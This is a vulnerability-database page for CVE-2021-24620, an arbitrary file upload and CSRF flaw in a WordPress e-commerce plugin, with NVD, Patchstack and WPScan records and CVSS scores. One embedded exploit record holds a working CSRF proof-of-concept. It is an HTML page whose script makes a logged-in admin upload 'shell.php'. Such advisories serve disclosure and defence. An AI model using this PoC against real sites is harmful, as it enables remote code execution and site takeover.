Description
The WordPress Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin through 2.2.5 does not check for the uploaded Downloadable Digital product file, allowing any file, such as PHP to be uploaded by an administrator. Furthermore, as there is no CSRF in place, attackers could also make a logged admin upload a malicious PHP file, which would lead to RCE
Affected Software
Related
{"id": "CVE-2021-24620", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24620", "description": "The WordPress Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin through 2.2.5 does not check for the uploaded Downloadable Digital product file, allowing any file, such as PHP to be uploaded by an administrator. Furthermore, as there is no CSRF in place, attackers could also make a logged admin upload a malicious PHP file, which would lead to RCE", "published": "2021-09-13T18:15:00", "modified": "2021-09-27T18:46:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24620", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/1f2b3c4a-f7e9-4d22-b71e-f6b051fd8349"], "cvelist": ["CVE-2021-24620"], "immutableFields": [], "lastseen": "2022-03-23T14:59:07", "viewCount": 11, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349"]}], "rev": 4}, "score": {"value": 3.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349"]}]}, "exploitation": null, "vulnersScore": 3.3}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:simple-e-commerce-shopping-cart_project:simple-e-commerce-shopping-cart:2.2.5"], "cpe23": ["cpe:2.3:a:simple-e-commerce-shopping-cart_project:simple-e-commerce-shopping-cart:2.2.5:*:*:*:*:wordpress:*:*"], "cwe": ["CWE-434"], "affectedSoftware": [{"cpeName": "simple-e-commerce-shopping-cart_project:simple-e-commerce-shopping-cart", "version": "2.2.5", "operator": "le", "name": "simple-e-commerce-shopping-cart project simple-e-commerce-shopping-cart"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:simple-e-commerce-shopping-cart_project:simple-e-commerce-shopping-cart:2.2.5:*:*:*:*:wordpress:*:*", "versionEndIncluding": "2.2.5", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/1f2b3c4a-f7e9-4d22-b71e-f6b051fd8349", "name": "https://wpscan.com/vulnerability/1f2b3c4a-f7e9-4d22-b71e-f6b051fd8349", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"patchstack": [{"lastseen": "2022-06-01T19:30:54", "description": "Arbitrary File Upload vulnerability discovered by h3v0x in WordPress Simple Ecommerce Shopping Cart plugin (versions <= 2.2.5).\n\n## Solution\n\n\r\n This plugin has been closed as of June 21, 2021 and is not available for download. Reason: Security Issue.\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-16T00:00:00", "type": "patchstack", "title": "WordPress Simple Ecommerce Shopping Cart plugin <= 2.2.5 - Arbitrary File Upload vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24620"], "modified": "2021-08-16T00:00:00", "id": "PATCHSTACK:1F46711AC1C9C7A954357B429602DAF8", "href": "https://patchstack.com/database/vulnerability/simple-e-commerce-shopping-cart/wordpress-simple-ecommerce-shopping-cart-plugin-2-2-5-arbitrary-file-upload-vulnerability", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "wpvulndb": [{"lastseen": "2021-11-26T19:15:01", "description": "The plugin does not check for the uploaded Downloadable Digital product file, allowing any file, such as PHP to be uploaded by an administrator. Furthermore, as there is no CSRF in place, attackers could also make a logged admin upload a malicious PHP file, which would lead to RCE\n\n### PoC\n\nhttps://www.youtube.com/watch?v=KvXqTGvq4xQ File will be uploaded in: /wp-content/uploads/simpleecommcart/digitalproduct/shell.php \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-16T00:00:00", "type": "wpvulndb", "title": "Simple eCommerce <= 2.2.5 - Arbitrary File Upload", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24620"], "modified": "2021-08-16T06:47:32", "id": "WPVDB-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349", "href": "https://wpscan.com/vulnerability/1f2b3c4a-f7e9-4d22-b71e-f6b051fd8349", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "wpexploit": [{"lastseen": "2021-11-26T19:15:01", "description": "The plugin does not check for the uploaded Downloadable Digital product file, allowing any file, such as PHP to be uploaded by an administrator. Furthermore, as there is no CSRF in place, attackers could also make a logged admin upload a malicious PHP file, which would lead to RCE\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-16T00:00:00", "type": "wpexploit", "title": "Simple eCommerce <= 2.2.5 - Arbitrary File Upload", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24620"], "modified": "2021-08-16T06:47:32", "id": "WPEX-ID:1F2B3C4A-F7E9-4D22-B71E-F6B051FD8349", "href": "", "sourceData": "https://www.youtube.com/watch?v=KvXqTGvq4xQ\r\n\r\n<html>\r\n <body>\r\n <script>\r\n function submitRequest()\r\n {\r\n var xhr = new XMLHttpRequest();\r\n xhr.open(\"POST\", \"http:\\/\\/example.com\\/wp-admin\\/admin.php?page=simpleecommcart-products\", true);\r\n xhr.setRequestHeader(\"Accept\", \"text\\/html,application\\/xhtml+xml,application\\/xml;q=0.9,image\\/webp,*\\/*;q=0.8\");\r\n xhr.setRequestHeader(\"Accept-Language\", \"en-GB,en;q=0.5\");\r\n xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data; boundary=---------------------------14024174919792965573802180262\");\r\n xhr.withCredentials = true;\r\n var body = \"-----------------------------14024174919792965573802180262\\r\\n\" + \r\n \"Content-Disposition: form-data; name=\\\"simpleecommcart-action\\\"\\r\\n\" + \r\n \"\\r\\n\" + \r\n \"save product\\r\\n\" + \r\n \"-----------------------------14024174919792965573802180262\\r\\n\" + \r\n \"Content-Disposition: form-data; name=\\\"product[name]\\\"\\r\\n\" + \r\n \"\\r\\n\" + \r\n \"test\\r\\n\" + \r\n \"-----------------------------14024174919792965573802180262\\r\\n\" + \r\n \"Content-Disposition: form-data; name=\\\"product[price]\\\"\\r\\n\" + \r\n \"\\r\\n\" + \r\n \"1\\r\\n\" + \r\n \"-----------------------------14024174919792965573802180262\\r\\n\" + \r\n \"Content-Disposition: form-data; name=\\\"product[upload]\\\"; filename=\\\"shell.php\\\"\\r\\n\" +\r\n \"Content-Type: text/php\\r\\n\" + \r\n \"\\r\\n\" + \r\n \"\\x3c?php echo \\'FAILED\\'; ?\\x3e\\n\" + \r\n \"\\r\\n\" + \r\n \"-----------------------------14024174919792965573802180262\\r\\n\" + \r\n \"Content-Disposition: form-data; name=\\\"submit\\\"\\r\\n\" + \r\n \"\\r\\n\" + \r\n \"Save\\r\\n\" + \r\n \"-----------------------------14024174919792965573802180262--\\r\\n\";\r\n var aBody = new Uint8Array(body.length);\r\n for (var i = 0; i < aBody.length; i++)\r\n aBody[i] = body.charCodeAt(i); \r\n xhr.send(new Blob([aBody]));\r\n }\r\n </script>\r\n <form action=\"#\">\r\n <input type=\"button\" value=\"Submit request\" onclick=\"submitRequest();\" />\r\n </form>\r\n </body>\r\n</html>\r\n\r\nFile will be uploaded in: /wp-content/uploads/simpleecommcart/digitalproduct/shell.php\r\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}